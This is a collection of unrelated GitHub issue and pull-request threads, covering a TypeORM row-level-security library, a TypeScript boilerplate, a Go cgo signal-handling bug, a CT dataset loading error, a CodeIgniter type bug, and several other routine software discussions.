I see that you both set and unset the tenant / author ids. Say I write a very bad, invalid query, is there a chance that the query will fail in such a way that the tenant / author id would not be appropriate "unset" and so would have a potential of bleeding into subsequent requests with different tenants re-using the connection?

Again, these questions may all be super short sighted / simplistic or just irrelevant (because of the mechanism being used), sorry in advance if that's the case but thanks for any assurances :)

Thanks for the interest in the library @kevin-mitchell.
First of all I'd like to start by saying that there's no guarantees or assurances about the library. This library is provided as is without any responsibility. Please check the license.

There is not much I have done for this library to make things work. There's a few subtle cases where things needed a bit more tweaking (transactions) but overall all this library does, it taps into the lowest level in typeorm where the actual query is made -> PostgresQueryRunner and adds two queries: one before the user query (SET) and one after the user query (RESET). In Typeorm, once you have a query runner, you have a connection from the database pool (pg pool i believe). There are multiple ways you can get this query runner, you can either create it yourself, get it from a transaction when you start it or let typeorm automatically create them for each query you make.
So the cases here are:
i. You create and manage your own query runner -> that's basically getting and using one connection from the pool until you releaseQueryRunner(). In here each query gets wrapped with SET and RESET.
ii. You let typeorm manage the creation of the query runner -> when you make any query (eg: entity.find()) typeorm creates a queryrunner (by getting the connection from the pool) and when the query function is executed, it will have the following flow using the same connection : set rls -> find() -> reset rls
iii. If you use transactions, it is a combination of the two points above (it's an oversimplification) where typeorm creates a query runner for you and then gives you access to it. So the flow of queries is: SET TRANSACTION -> set rls -> query ->reset rls ->  COMMIT/REVERT
It works with transactions. You can have a look at the tests regarding this in here: https://github.com/Avallone-io/rls/blob/master/test/common/EntityManager.spec.ts#L284
In theory even if you have a bad query that would leave the tenant configuration on a connection, the next query would do a set so it would overwrite the previous value from the bad query. Seeing this question made me think that there might be a very edge case where the reset might not happen. I will write the tests for it to confirm in the weekend and I`ll push a fix if that's the case (needs validation first).

Feel free to test the library as you sit fit and if you find bugs, please submit a test case to be able to reproduce it.
In the future I will be looking into set local from postgres. It currently breaks some tests so I have not looked into it in depth.

Just wanted to say thank you very very much for taking the time to provide such a great response. I really appreciate it.
I've since read through the code / tests and understand what you're referring to. I feel like this ticket could be closed now.
Our fairly large code base essentially "just worked" after switching from DB user based RLS to a set rls.tenant_id ... style RLS policy. There was one place there we were (possibly "badly") using [an array].map(... to write a bunch of data within a transaction, and this appears to have thrown things off with either the library or Postgres itself. I will try to reproduce and if / when I do will open a ticket if it seems like a defect with the library (although again, I suspect it may simply be an issue with how we were querying within a transaction!).
Thanks again!

Thanks for the follow up! I'm really happy to hear others are using the library and that it actually solves the problem!
Regarding point 3 from the previous comment, I mentioned I might have found an edge case for not reseting the environment. Indeed that was the case and there's a PR  fixing it. You can read the details in the PR description. You can expect this to be merged on Monday.
Also, please let me know if you managed to find any issues with the transition. I will keep the issue open until the release of the fix and then close it.


PR/Docs: Typescript guide

Although we don't support typescript, the types of this project should be 100% compatible with typescript. I think we should use flow as the default and at least provide the documentation for setting up the project with typescript.

I found a good tutorial to set up typescript.
http://blog.tomduncalf.com/posts/setting-up-typescript-and-react/

Any updates on the timeline of this? I've had a lot of issues type checking React props with Flow, but none with TS. It'd be great to have a fork of this or at least some docs on the README on how to do it.

@fandy I haven't found a way to get TS working nicely with ESLint. Any suggestions?

Not sure - what issues are you running into?
/cc @chentsulin can you help us here? :)

Id love that as well!

@amilajack  just use TSLINT.

@wilomgfx is there a way to integration with our current eslint rules?

yes its the samething, but just use this https://www.npmjs.com/package/tslint-config-airbnb for the base airbnb rules.

Did you figure out how to get typescript going with this ? I prefer typescript over flow :p

I'll try this again later this week. I'll make a fork and post the link here when I finish

Doing some work on that in this repo

Nice, thanks for your efforts ! Is it stable enough to switch from flow to typescript ?

Thanks @amilajack! Is that PR close to finished or are you blocked on anything?

@fandy which PR are you referring to?

He was probably talking about the other repo.

@amilajack https://github.com/chentsulin/electron-react-boilerplate/issues/968 or https://github.com/amilajack/erb-typescript-example

@fandy Did some work on the typescript example today. Check it out and let me know what you think.

I checked out erb-typescript-example and it looks good for the most part. Do we still need the yarn ts command if we're using Webpack? Awesome work!

I actually couldn't get webpack to work with typescript. awesome-typescript-loader prevents webpack from starting if there are any type errors, which isn't ideal.

Is there still interest?
I just moved from flow to typescript, so I could create a fork and maybe type up some kind of migration guide if you want.

@ManuKle Do you have a sparknotes of what you did for the migration? I'm trying to move to typescript following https://github.com/amilajack/erb-typescript-example but am having some issues.

@RussGlover what issues are you having?

I'm getting a runtime type error in one of my core dependencies. With the config in your example dependencies should run the same as in the flow setup correct?

In case anyone is still interested, I just added a working typescript repo based on the most recent release here.

@ManuKle That's awesome. 👍  I have added your repo to Wiki-Notable Forks. It would be so great if TS boilerplate stays up to date with the upstream.

I'll try my best 👍

If anyone is interested in a example of a project using @ManuKle's boilerplate, I just switched arepl-react over to it.

this is now possible because babel 7 was released and it now has typescript support 🎉

woah,
How do we implement this @amilajack ?

Working on the repo here. It doesn't work yet. @vikr01 and I are working on this now

@amilajack Can we make an erb organization on Github and place all erb related repositories inside it? Like your TS repo or serial port sample example etc. This will make those repositories easier to find.


runtime: signal handling: cgoSigtramp fails to save C callee-save registers.

In programs using cgo, runtime.setsig registers runtime.cgoSigtramp as the handler for signals to the runtime.  cgoSigtramp calls sigtramp, which calls sigtrampgo, which uses the Go calling convention. The Go convention treats all registers except the stack pointer and frame pointer as caller-save (https://github.com/golang/go/issues/16922).
In debugging https://github.com/golang/go/issues/17641, I noticed that cgoSigtramp does not save the C callee-save registers before invoking those Go functions.  If the call to the Go handler is forwarded through other C handlers (as in the case of TSAN interceptors; see https://github.com/golang/go/issues/18255), that potentially results in corruption of the register contents and undefined behavior when control returns to the C caller.
I am attempting to write a reproducible test-case and will post it here as an update.

The repro case is a minor variation on the test-case added in change 34239, obtained by making a local variable live across the invocation of the deferred handler:
$ diff -u $GOROOT/misc/cgo/testsanitizers/tsan9.go ./issue
18328.go
--- /home/bcmills/src/go/misc/cgo/testsanitizers/tsan9.go      2016-12-15 11:54:46.895601246 -0800
+++ ./issue18328.go     2016-12-15 12:40:58.691484523 -0800
@@ -19,10 +19,14 @@
        size_t n;
        struct timeval tvstart, tvnow;
        int diff;
+       void *prev = NULL, *cur;

        gettimeofday(&tvstart, NULL);
        for (n = 0; n < 1<<20; n++) {
-               free(malloc(n));
+               cur = malloc(n);
+               free(prev);
+               prev = cur;
+
                gettimeofday(&tvnow, NULL);
                diff = (tvnow.tv_sec - tvstart.tv_sec) * 1000 * 1000 + (tvnow.tv_usec - tvstart.tv_usec);

@@ -32,6 +36,8 @@
                        break;
                }
        }
+
+       free(prev);
 }
 */
 import "C"

$ go version
go version devel +94e0f06 Thu Dec 15 18:17:32 2016 +0000 linux/amd64

$ $(go env CC) --version
clang version 3.8.0-2ubuntu3~trusty4 (tags/RELEASE_380/final)
Target: x86_64-unknown-linux-gnu
Thread model: posix
InstalledDir: /usr/bin

$ go build issue18328 && ./issue18328
Segmentation fault (core dumped)

@ianlancetaylor: I'm guessing one of us should fix this.  I'm happy to send a patch unless you want to do it yourself.


Can't open ct.nii.gz with the 3D slicer

Hi all,
I downloaded the dataset from Zenodo and unzip on my Macbook.
I dragged and dropped the file (e.g., Totalsegmentator_dataset/s0000/ct.nii.gz) to the 3D slicer v5.2.1, however, I always got the error
Error: Loading Totalsegmentator_dataset/s0000/ct.nii.gz -  load failed.
Did I open the file correctly?

Did you try another subject? Or loading into another medical image viewer? Or trying on a different computer. Just from this message it is not clear that the problem might be. In general it should be possible to open it this way.

This is my error log
Error Log
[DEBUG][Qt] 08.02.2023 17:53:17 [] (unknown:0) - Session start time .......: 2023-02-08 17:53:17
[DEBUG][Qt] 08.02.2023 17:53:17 [] (unknown:0) - Slicer version ...........: 5.2.1 (revision 31317 / 77da381) macosx-amd64 - installed release
[DEBUG][Qt] 08.02.2023 17:53:17 [] (unknown:0) - Operating system .........: macOS / 13.2 / 22D49 / UTF-8 - 64-bit
[DEBUG][Qt] 08.02.2023 17:53:17 [] (unknown:0) - Memory ...................: 16384 MB physical, 3072 MB virtual
[DEBUG][Qt] 08.02.2023 17:53:17 [] (unknown:0) - CPU ......................:  Apple M2, 8 cores, 8 logical processors
[DEBUG][Qt] 08.02.2023 17:53:17 [] (unknown:0) - VTK configuration ........: OpenGL2 rendering, Sequential threading
[DEBUG][Qt] 08.02.2023 17:53:17 [] (unknown:0) - Qt configuration .........: version 5.15.2, with SSL, requested OpenGL 3.2 (core profile)
[DEBUG][Qt] 08.02.2023 17:53:17 [] (unknown:0) - Internationalization .....: disabled, language=
[DEBUG][Qt] 08.02.2023 17:53:17 [] (unknown:0) - Developer mode ...........: disabled
[DEBUG][Qt] 08.02.2023 17:53:17 [] (unknown:0) - Application path .........: /Applications/Slicer.app/Contents/MacOS
[DEBUG][Qt] 08.02.2023 17:53:17 [] (unknown:0) - Additional module paths ..: (none)
[DEBUG][Python] 08.02.2023 17:53:19 [Python] (/Applications/Slicer.app/Contents/lib/Slicer-5.2/qt-scripted-modules/SubjectHierarchyPlugins/AbstractScriptedSubjectHierarchyPlugin.py:38) - Scripted subject hierarchy plugin registered: Annotations
[DEBUG][Python] 08.02.2023 17:53:19 [Python] (/Applications/Slicer.app/Contents/lib/Slicer-5.2/qt-scripted-modules/SubjectHierarchyPlugins/AbstractScriptedSubjectHierarchyPlugin.py:38) - Scripted subject hierarchy plugin registered: SegmentEditor
[DEBUG][Python] 08.02.2023 17:53:19 [Python] (/Applications/Slicer.app/Contents/lib/Slicer-5.2/qt-scripted-modules/SubjectHierarchyPlugins/AbstractScriptedSubjectHierarchyPlugin.py:38) - Scripted subject hierarchy plugin registered: SegmentStatistics
[DEBUG][Qt] 08.02.2023 17:53:19 [] (unknown:0) - Switch to module:  "Welcome"
[ERROR][VTK] 08.02.2023 18:09:30 [vtkITKArchetypeDiffusionTensorImageReaderFile (0x7f9fe80977b0)] (/Volumes/D/S/S-0/Libs/vtkITK/vtkITKArchetypeImageSeriesReader.cxx:708) - vtkITKArchetypeImageSeriesReader::ExecuteInformation: Cannot open /Users/khoanguyen-tuan/Local/Data_set/Totalsegmentator/Totalsegmentator_dataset/s0000/ct.nii.gz. ITK exception info: error in unknown:  Could not create IO object for reading file /Users/khoanguyen-tuan/Local/Data_set/Totalsegmentator/Totalsegmentator_dataset/s0000/ct.nii.gz
  Tried to create one of the following:
    BMPImageIO
    BioRadImageIO
    DCMTKImageIO
    GDCMImageIO
    GiplImageIO
    JPEGImageIO
    LSMImageIO
    MGHImageIO
    MINCImageIO
    MRCImageIO
    MetaImageIO
    NiftiImageIO
    NrrdImageIO
    PNGImageIO
    ScancoImageIO
    StimulateImageIO
    TIFFImageIO
    VTKImageIO
    MRMLIDImageIO
  You probably failed to set a file suffix, or
    set the suffix to an unsupported type.
[ERROR][VTK] 08.02.2023 18:09:30 [vtkCompositeDataPipeline (0x600001a5a060)] (/Volumes/D/S/S-0-build/VTK/Common/ExecutionModel/vtkExecutive.cxx:741) - Algorithm vtkITKArchetypeDiffusionTensorImageReaderFile(0x7f9fe80977b0) returned failure for request: vtkInformation (0x600003d9b300)
  Debug: Off
  Modified Time: 241237
  Reference Count: 1
  Registered Events: (none)
  Request: REQUEST_INFORMATION
  ALGORITHM_AFTER_FORWARD: 1
  FORWARD_DIRECTION: 0
[ERROR][VTK] 08.02.2023 18:09:30 [vtkITKArchetypeImageSeriesVectorReaderSeries (0x7f9fcf52fb00)] (/Volumes/D/S/S-0/Libs/vtkITK/vtkITKArchetypeImageSeriesReader.cxx:708) - vtkITKArchetypeImageSeriesReader::ExecuteInformation: Cannot open /Users/khoanguyen-tuan/Local/Data_set/Totalsegmentator/Totalsegmentator_dataset/s0000/ct.nii.gz. ITK exception info: error in unknown:  Could not create IO object for reading file /Users/khoanguyen-tuan/Local/Data_set/Totalsegmentator/Totalsegmentator_dataset/s0000/ct.nii.gz
  Tried to create one of the following:
    BMPImageIO
    BioRadImageIO
    DCMTKImageIO
    GDCMImageIO
    GiplImageIO
    JPEGImageIO
    LSMImageIO
    MGHImageIO
    MINCImageIO
    MRCImageIO
    MetaImageIO
    NiftiImageIO
    NrrdImageIO
    PNGImageIO
    ScancoImageIO
    StimulateImageIO
    TIFFImageIO
    VTKImageIO
    MRMLIDImageIO
  You probably failed to set a file suffix, or
    set the suffix to an unsupported type.
[ERROR][VTK] 08.02.2023 18:09:30 [vtkCompositeDataPipeline (0x600001a25b20)] (/Volumes/D/S/S-0-build/VTK/Common/ExecutionModel/vtkExecutive.cxx:741) - Algorithm vtkITKArchetypeImageSeriesVectorReaderSeries(0x7f9fcf52fb00) returned failure for request: vtkInformation (0x600003d91dc0)
  Debug: Off
  Modified Time: 242755
  Reference Count: 1
  Registered Events: (none)
  Request: REQUEST_INFORMATION
  ALGORITHM_AFTER_FORWARD: 1
  FORWARD_DIRECTION: 0
[ERROR][VTK] 08.02.2023 18:09:30 [vtkITKArchetypeImageSeriesVectorReaderFile (0x7f9fcf530fd0)] (/Volumes/D/S/S-0/Libs/vtkITK/vtkITKArchetypeImageSeriesReader.cxx:708) - vtkITKArchetypeImageSeriesReader::ExecuteInformation: Cannot open /Users/khoanguyen-tuan/Local/Data_set/Totalsegmentator/Totalsegmentator_dataset/s0000/ct.nii.gz. ITK exception info: error in unknown:  Could not create IO object for reading file /Users/khoanguyen-tuan/Local/Data_set/Totalsegmentator/Totalsegmentator_dataset/s0000/ct.nii.gz
  Tried to create one of the following:
    BMPImageIO
    BioRadImageIO
    DCMTKImageIO
    GDCMImageIO
    GiplImageIO
    JPEGImageIO
    LSMImageIO
    MGHImageIO
    MINCImageIO
    MRCImageIO
    MetaImageIO
    NiftiImageIO
    NrrdImageIO
    PNGImageIO
    ScancoImageIO
    StimulateImageIO
    TIFFImageIO
    VTKImageIO
    MRMLIDImageIO
  You probably failed to set a file suffix, or
    set the suffix to an unsupported type.
[ERROR][VTK] 08.02.2023 18:09:30 [vtkCompositeDataPipeline (0x600001a25dc0)] (/Volumes/D/S/S-0-build/VTK/Common/ExecutionModel/vtkExecutive.cxx:741) - Algorithm vtkITKArchetypeImageSeriesVectorReaderFile(0x7f9fcf530fd0) returned failure for request: vtkInformation (0x600003d96dc0)
  Debug: Off
  Modified Time: 242862
  Reference Count: 1
  Registered Events: (none)
  Request: REQUEST_INFORMATION
  ALGORITHM_AFTER_FORWARD: 1
  FORWARD_DIRECTION: 0
[ERROR][VTK] 08.02.2023 18:09:30 [vtkITKArchetypeImageSeriesScalarReader (0x7f9fcf52be20)] (/Volumes/D/S/S-0/Libs/vtkITK/vtkITKArchetypeImageSeriesReader.cxx:708) - vtkITKArchetypeImageSeriesReader::ExecuteInformation: Cannot open /Users/khoanguyen-tuan/Local/Data_set/Totalsegmentator/Totalsegmentator_dataset/s0000/ct.nii.gz. ITK exception info: error in unknown:  Could not create IO object for reading file /Users/khoanguyen-tuan/Local/Data_set/Totalsegmentator/Totalsegmentator_dataset/s0000/ct.nii.gz
  Tried to create one of the following:
    BMPImageIO
    BioRadImageIO
    DCMTKImageIO
    GDCMImageIO
    GiplImageIO
    JPEGImageIO
    LSMImageIO
    MGHImageIO
    MINCImageIO
    MRCImageIO
    MetaImageIO
    NiftiImageIO
    NrrdImageIO
    PNGImageIO
    ScancoImageIO
    StimulateImageIO
    TIFFImageIO
    VTKImageIO
    MRMLIDImageIO
  You probably failed to set a file suffix, or
    set the suffix to an unsupported type.
[ERROR][VTK] 08.02.2023 18:09:30 [vtkCompositeDataPipeline (0x600001a25420)] (/Volumes/D/S/S-0-build/VTK/Common/ExecutionModel/vtkExecutive.cxx:741) - Algorithm vtkITKArchetypeImageSeriesScalarReader(0x7f9fcf52be20) returned failure for request: vtkInformation (0x600003d976c0)
  Debug: Off
  Modified Time: 243675
  Reference Count: 1
  Registered Events: (none)
  Request: REQUEST_INFORMATION
  ALGORITHM_AFTER_FORWARD: 1
  FORWARD_DIRECTION: 0
[ERROR][VTK] 08.02.2023 18:09:30 [vtkMRMLMultiVolumeStorageNode (0x7f9fe8092170)] (/Volumes/D/S/S-0/Libs/MRML/Core/vtkMRMLStorageNode.cxx:1294) - vtkMRMLStorageNode::ReadData: Failed to read node ct (vtkMRMLMultiVolumeNode1) from filename='/Users/khoanguyen-tuan/Local/Data_set/Totalsegmentator/Totalsegmentator_dataset/s0000/ct.nii.gz'
[ERROR][VTK] 08.02.2023 18:09:30 [vtkMRMLNRRDStorageNode (0x7f9fe80925d0)] (/Volumes/D/S/S-0/Libs/MRML/Core/vtkMRMLNRRDStorageNode.cxx:187) - ReadData: This is not a nrrd file
[ERROR][VTK] 08.02.2023 18:09:30 [vtkMRMLNRRDStorageNode (0x7f9fe80925d0)] (/Volumes/D/S/S-0/Libs/MRML/Core/vtkMRMLStorageNode.cxx:1294) - vtkMRMLStorageNode::ReadData: Failed to read node ct (vtkMRMLDiffusionWeightedVolumeNode1) from filename='/Users/khoanguyen-tuan/Local/Data_set/Totalsegmentator/Totalsegmentator_dataset/s0000/ct.nii.gz'
[ERROR][VTK] 08.02.2023 18:09:30 [vtkMRMLVolumeArchetypeStorageNode (0x7f9fe8097220)] (/Volumes/D/S/S-0/Libs/MRML/Core/vtkMRMLVolumeArchetypeStorageNode.cxx:412) - vtkMRMLVolumeArchetypeStorageNode::ReadDataInternal: Cannot read file as a volume of type DiffusionTensorVolume [fullName = /Users/khoanguyen-tuan/Local/Data_set/Totalsegmentator/Totalsegmentator_dataset/s0000/ct.nii.gz]: FileFormatError. Number of files listed in the node = 0. File reader says it was able to read 1 files. File reader used the archetype file name of /Users/khoanguyen-tuan/Local/Data_set/Totalsegmentator/Totalsegmentator_dataset/s0000/ct.nii.gz [reader 0th file name = /Users/khoanguyen-tuan/Local/Data_set/Totalsegmentator/Totalsegmentator_dataset/s0000/ct.nii.gz].
[ERROR][VTK] 08.02.2023 18:09:30 [vtkMRMLVolumeArchetypeStorageNode (0x7f9fe8097220)] (/Volumes/D/S/S-0/Libs/MRML/Core/vtkMRMLStorageNode.cxx:1294) - vtkMRMLStorageNode::ReadData: Failed to read node ct (vtkMRMLDiffusionTensorVolumeNode1) from filename='/Users/khoanguyen-tuan/Local/Data_set/Totalsegmentator/Totalsegmentator_dataset/s0000/ct.nii.gz'
[ERROR][VTK] 08.02.2023 18:09:30 [vtkMRMLNRRDStorageNode (0x7f9fcf52f650)] (/Volumes/D/S/S-0/Libs/MRML/Core/vtkMRMLNRRDStorageNode.cxx:187) - ReadData: This is not a nrrd file
[ERROR][VTK] 08.02.2023 18:09:30 [vtkMRMLNRRDStorageNode (0x7f9fcf52f650)] (/Volumes/D/S/S-0/Libs/MRML/Core/vtkMRMLStorageNode.cxx:1294) - vtkMRMLStorageNode::ReadData: Failed to read node ct (vtkMRMLVectorVolumeNode1) from filename='/Users/khoanguyen-tuan/Local/Data_set/Totalsegmentator/Totalsegmentator_dataset/s0000/ct.nii.gz'
[ERROR][VTK] 08.02.2023 18:09:30 [vtkMRMLVolumeArchetypeStorageNode (0x7f9fcf52f570)] (/Volumes/D/S/S-0/Libs/MRML/Core/vtkMRMLVolumeArchetypeStorageNode.cxx:352) - vtkMRMLVolumeArchetypeStorageNode::ReadDataInternal: Failed to instantiate a file reader
[ERROR][VTK] 08.02.2023 18:09:30 [vtkMRMLVolumeArchetypeStorageNode (0x7f9fcf52f570)] (/Volumes/D/S/S-0/Libs/MRML/Core/vtkMRMLStorageNode.cxx:1294) - vtkMRMLStorageNode::ReadData: Failed to read node ct (vtkMRMLVectorVolumeNode2) from filename='/Users/khoanguyen-tuan/Local/Data_set/Totalsegmentator/Totalsegmentator_dataset/s0000/ct.nii.gz'
[ERROR][VTK] 08.02.2023 18:09:30 [vtkMRMLVolumeArchetypeStorageNode (0x7f9fcf52b890)] (/Volumes/D/S/S-0/Libs/MRML/Core/vtkMRMLVolumeArchetypeStorageNode.cxx:412) - vtkMRMLVolumeArchetypeStorageNode::ReadDataInternal: Cannot read file as a volume of type Volume [fullName = /Users/khoanguyen-tuan/Local/Data_set/Totalsegmentator/Totalsegmentator_dataset/s0000/ct.nii.gz]: FileFormatError. Number of files listed in the node = 0. File reader says it was able to read 1 files. File reader used the archetype file name of /Users/khoanguyen-tuan/Local/Data_set/Totalsegmentator/Totalsegmentator_dataset/s0000/ct.nii.gz [reader 0th file name = /Users/khoanguyen-tuan/Local/Data_set/Totalsegmentator/Totalsegmentator_dataset/s0000/ct.nii.gz].
[ERROR][VTK] 08.02.2023 18:09:30 [vtkMRMLVolumeArchetypeStorageNode (0x7f9fcf52b890)] (/Volumes/D/S/S-0/Libs/MRML/Core/vtkMRMLStorageNode.cxx:1294) - vtkMRMLStorageNode::ReadData: Failed to read node ct (vtkMRMLScalarVolumeNode1) from filename='/Users/khoanguyen-tuan/Local/Data_set/Totalsegmentator/Totalsegmentator_dataset/s0000/ct.nii.gz'
[WARNING][Qt] 08.02.2023 18:09:30 [] (unknown:0) - static void qSlicerIOManager::showLoadNodesResultDialog(bool, vtkMRMLMessageCollection *) Errors occurred while loading nodes: "Error: Loading /Users/khoanguyen-tuan/Local/Data_set/Totalsegmentator/Totalsegmentator_dataset/s0000/ct.nii.gz -  load failed.\n"

I can open all the segmentation e.g, `Totalsegmentator_dataset/s0000/segmentations/brain.nii.gz`
I can't open ct.nii.gz in these folders:

s0000 --> s0002
s0004
The others can open normally.
I think something wrong with the current dataset. I will download the dataset again.

I would recommend to try TotalSegmentator on a Slicer sample data set, as it is described in the tutorial.

I also sometimes have the problem when unzipping big files with Mac that some files get corrupted. And I know that 1 or 2 files are indeed broken in the uploaded dataset (this somehow happened when I created the zip file). When I upload a next version of the dataset I will fix those.

Thank you @wasserth.
I downloaded the new zip file again and then unzip it both on Mac and on Ubuntu.
The problem is the same.

When I upload a next version of the dataset I will fix those.

I'm looking forward to the next update.

Hello @wasserth ,
Thank you for uploading the V2.
However, fyi, I'm still having this error when opening the CT-scan dataset with 3DSlicer.

Error files:

s0000 --> s0002
s0004
s0982 (randomly opened)


Server-side website

Ideally the WFH organist can open a web browser and see a camera feed, hear audio, and get a note stream similar to what the server outputs on the terminal.
This will be written with React Typescript and interface with the Go backend through WebSockets.
v1 will rely on authentication via Cloudflare Access. The organist should be authorized by the domain owner.

Starting out with Typescript + React + WebRTC for P2P Video/Audio communication.


How to fix 'MTIShaderLib.h' file not found in package?

@GitHubyangjunyi have you found solution?

Have you tried adding the path of MTIShaderLib.h file to the Metal Compiler - Header Search Paths (MTL_HEADER_SEARCH_PATHS) setting?
CocoaPods

set the MTL_HEADER_SEARCH_PATHS to ${PODS_CONFIGURATION_BUILD_DIR}/MetalPetal/MetalPetal.framework/Headers or ${PODS_ROOT}/MetalPetal/Frameworks/MetalPetal/Shaders.

Swift Package Manager

set the MTL_HEADER_SEARCH_PATHS to $(HEADER_SEARCH_PATHS)

https://github.com/MetalPetal/MetalPetal#build-custom-filter

From searching around it seems it's not possible at all in the SPM package, a potential hacky workaround is something like this:
https://developer.apple.com/forums/thread/649579?answerId=614162022#614162022


Bug: Third Flags needs default

Info
I have been trying for over a week to trace a new site's "Network connection Error" from going down overnight. No errors in logs so added "strict_types=1" to all PHP app and system PHP files, also set .env -> CI_ENVIRONMENT = development and eventually managed to get some errors reported.
Describe the bug
incorrect type being passed.
CodeIgniter 4 version
CI_VERSION 4.1.1
Affected module(s)
File: ./system/Validation/FormatRules.php
[code]
public function valid_ip(string $ip = null, string $which = null): bool
{
if (empty($ip))
{
return false;
}
switch (strtolower((string) $which))
{
case 'ipv4':
$which = FILTER_FLAG_IPV4;
break;
case 'ipv6':
$which = FILTER_FLAG_IPV6;
break;
default:
# PROBLEM 2021-03-06 - forced (int)
$which = (int) null;
break;
}
	return (bool) filter_var($ip, FILTER_VALIDATE_IP, $which) || (! ctype_print($ip) && (bool) filter_var(inet_ntop($ip), FILTER_VALIDATE_IP, $which));
}

[/code]
Expected behavior, and steps to reproduce if appropriate
I did not expect the web page to crash :(
Context
OS: [Ubuntu 20.04.1]
Web server [Apache 2]
PHP version [8.0.3]

Since this is essentially the same issue I am closing this and consolidating the other PRs.


Volcano SO2 monitoring notebook

Developed a notebook walking through a previously posted VEDA discovery 'Monitoring Volcanic Sulfur Dioxide Emissions' which explored the Sulfur Dioxide dataset.
The notebook explores three different time-steps to show how NASA has observed volcanic activity in the Galápagos islands (2005), detected large scale emissions on the Kamchatka Peninsula (2009), and monitored the eruptions of Fagradalsfjall in Iceland (2021). These were the three time-steps showcased in the Discovery article. Approach used both the STAC and Raster APIs, and visualized each of these time-steps on a map using folium.
related to: https://github.com/NASA-IMPACT/veda-analytics/issues/46

This looks great! Do you want to include it in the table of contents? I just have one suggestion which is that it is a little strange to keep using the items[16] and items[12]. Maybe you want to make a dictionary of all the items where the keys are the years. Something like (untested):
items = {item["properties"]["start_datetime"][:4]: item for item in items} Then you can use items["2005"] in the rest of the notebook.

(apologies, in quoting your reply, I accidentally edited the comment above ☝)
Awesome, thanks for the quick review! 💫

Yes, that's a great idea, I can add it to the ToC under datasets as part of this PR
You're right, that's really not the most eloquent way of writing it, I'll revise so that the description of the years is a bit more explicit.

@jsignell just implemented the suggestions above (and your untested code works) 🚀
I've added the notebook to the ToC and I also realized the last tile for Iceland was looking at 2020 and not 2021 - so I've revised it. If you have a few minutes, wouldn't mind your second review before merging. Thanks!

Looks good to me! I will go ahead and merge it.


The p5.js side needs to catch the username and stage number (and data) from storage

Closed by #16


Update node versions

bazel run :nodejs_resolve

Whoops, meant to open this pull request on a fork, not the main repo. Still, you're welcome to merge if you like.


Allow marking complete form as disabled / read only

Prerequisites

[x] I have read the documentation;

Description
I would like to be able to render a complete form readonly or disabled. This is to show it to users later as a validation step.  As far as I can tell this is not possible right now and I would have to add the respective property (ui:disabled/ui:readonly) for each input in the UISchema.
Would you agree that it might be useful to just set this globally on the form? If so I'd start preparing a pull request for it.

I don't have a strong opinion about this. The standard HTML form controls support readonly and disabled, but only on form controls, not on the form element itself. I don't know if we should try to be doing anything more powerful than the underlying HTML abstraction does. I almost feel like we should be making it easier to perform other kinds of global transformations on schemas, perhaps by exporting utility functions that allow users to map over a schema to produce a UI schema or something?

I'm also interested in this, it's useful for displaying whole form with only some fields enabled based on various conditions.
Basically it means that props.disabled || uiSchema["ui:disabled"] order should be changed here.
Maybe hide it behind some uiSchema flag, so it will not break current behaviour?

Now thinking about it again I think that I agree that it would make sense to not implement it like this but instead make it easier to generate a uiSchema from the schema or something like that. For the time being let me close this issue.

I am trying to make a view mode which displays the data but does not allow editing. So far I've gone with something like this,
Object.keys(schema.properties).map(function (key, index) {
    uiSchema[key] = {'ui:readonly': true};
});

I think going beyond standard HTML controls is necessary because the whole form is getting rendered by this component. Unless there is a way to disable or remove the 'Submit' button that I am not seeing.
IMO having a readonly attribute on the form could remove the submit button and set all the inner controls to readonly as well sort of like a display mode.

For anyone looking into this in the future, the originally desired behavior (that of making the entire form readonly) can easily be accomplished, as follows:
uiSchema = { "ui:readonly": true }
No need to parse each property name of a JSON doc.

@comwt Does that remove the submit button?

@comwt Does that remove the submit button?

I tried it and it didn't disable or remove submit button. Also trying to figure out a way to do so...

This got implemented eventually anyhow as #1056.


Update proxygen to 2<IP_ADDRESS>

Describe the pull request

What does your PR fix?
Fixes #18093

Which triplets are supported/not supported? Have you updated the CI baseline?

all but windows

Does your PR follow the maintainer guide?

Still working on this PR

Please ignore the branch name..

Also done as part of #17335

Tried building on x64_linux triplet, got this error:
CMake Error at scripts/cmake/vcpkg_execute_build_process.cmake:146 (message):
    Command failed: /home/electron271/development/vcpkg/downloads/tools/cmake-3.20.2-linux/cmake-3.20.2-linux-x86_64/bin/cmake --build . --config Debug --target install -- -v -j13
    Working Directory: /home/electron271/development/vcpkg/buildtrees/proxygen/x64-linux-dbg
    See logs for more information:
      /home/electron271/development/vcpkg/buildtrees/proxygen/install-x64-linux-dbg-out.log

Call Stack (most recent call first):
  scripts/cmake/vcpkg_build_cmake.cmake:104 (vcpkg_execute_build_process)
  scripts/cmake/vcpkg_install_cmake.cmake:44 (vcpkg_build_cmake)
  ports/proxygen/portfile.cmake:31 (vcpkg_install_cmake)
  scripts/ports.cmake:139 (include)

Error: Building package proxygen:x64-linux failed with: BUILD_FAILED
Please ensure you're using the latest portfiles with `./vcpkg update`, then
submit an issue at https://github.com/Microsoft/vcpkg/issues including:
  Package: proxygen:x64-linux
  Vcpkg version: 2021-05-05-unknownhash


.lsl misdetection

The .lsl file extension is currently detected as Linden Scripting Language, but there are actually more hits for a Linker Scripting Language.

This is most likely because there are more active users of the .lsl scripting language, namely over 1,500,000 active users, generating over $750,000,000 per year.

@alexmayo Well then, is it that our search for Linden Scripting .lsl files is too restricted or is it that they're not investing enough of that money into open source? :smile_cat:

@pchaigno, there are a limited number of linden scripting language developers, probably no more than 10,000 (Me being one of them) - however there's upwards of a million users of LSL, who can simply copy any .LSL code found, and run it within the virtual environment where it is used.
So, to put it simply, LSL may not be more popular developer-wise, however the number of end-users who can copy and paste the code for usage is much more popular.
In a way, Linker  should be the default for .lsl from a developer's point of view, but anyone looking for a linden script who is not a developer will find it much more difficult.

In any case, I think the idea here was to try to recognize both, and not to drop support of one in favor of the other.

I think what @pchaigno means to say is

In all seriousness though, a simple heuristic should suffice. What's the most distinguishable trait about an Linda Scripting Language file that'd set it apart from a Linker Script?

Something like this should do it:
disambiguate ".lsl" do |data|
  if /^\s*(architecture|bus|core|memory)/.match(data)
    Language["Linker Scripting Language"]
  else
    Language["Linden Scripting Language"]
  end
end

Is Linker Scripting Language different from Linker Script?

Flagging as stale.


Update ResourceBinding label to annotation

What type of PR is this?
/kind documentation

What this PR does / why we need it:
Work marks resourcebinding on annotation not label
Which issue(s) this PR fixes:
Fixes #
Special notes for your reviewer:

Thanks~
/lgtm

We have added some other labels or annotations on the resource, can you help find it and add it in the next pr?
Such as:
https://github.com/karmada-io/karmada/blob/master/pkg/util/constants.go#L26-L27

OK


Support using the library from node js

